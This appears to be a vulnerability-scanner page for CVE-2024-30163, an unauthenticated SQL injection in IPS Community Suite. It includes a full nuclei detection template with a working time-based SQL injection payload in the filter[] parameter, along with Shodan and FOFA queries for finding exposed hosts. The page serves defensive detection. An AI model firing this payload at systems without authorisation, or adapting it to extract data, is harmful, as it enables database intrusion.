IPS Community Suite - Unauthenticated SQL Injection

criticalseverity

9.8CVSS score

8.7%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

IPS Community Suite is vulnerable to unauthenticated SQL injection via the filter[] parameter in the /index.php?/store/ endpoint, allowing attackers to extract sensitive information from the database.

Impact

Unauthenticated attackers can execute arbitrary SQL queries, potentially extracting or modifying sensitive database information.

Fix

Update IPS Community Suite to a version that patches CVE-2024-30163.

How to confirm it

Send: @timeout: 30s
Positive when: duration>=7 and contains(tolower(body), 'invision community')

Run it with nuclei: nuclei -id CVE-2024-30163 -u <target>

The full check

id: CVE-2024-30163

info:
  name: IPS Community Suite - Unauthenticated SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    IPS Community Suite is vulnerable to unauthenticated SQL injection via the filter[] parameter in the /index.php?/store/ endpoint, allowing attackers to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL queries, potentially extracting or modifying sensitive database information.
  remediation: |
    Update IPS Community Suite to a version that patches CVE-2024-30163.
  reference:
    - https://karmainsecurity.com/pocs/CVE-2024-30163.php
    - https://nvd.nist.gov/vuln/detail/CVE-2024-30163
  classification:
    cve-id: CVE-2024-30163
    cwe-id: CWE-89
    epss-score: 0.08676
    epss-percentile: 0.95165
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
  metadata:
    vendor: invision
    product: ips_community_suite
    max-request: 1
    verified: true
    shodan-query: html:"invision community"
    fofa-query: body="invision community"
  tags: cve,cve2024,ips,invision-community,sqli,vuln

http:
  - raw:
      - |
        @timeout: 30s
        POST /index.php?/store/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        cat=1&filter[%60%20ON%201%20UNION%20SELECT%20IF(ORD(SUBSTR((1),1,1))%3C126,1,SLEEP(7))%20OR%20%3F%3D%3F%23]=1

    matchers:
      - type: dsl
        dsl:
          - "duration>=7"
          - "contains(tolower(body), 'invision community')"
        condition: and

References

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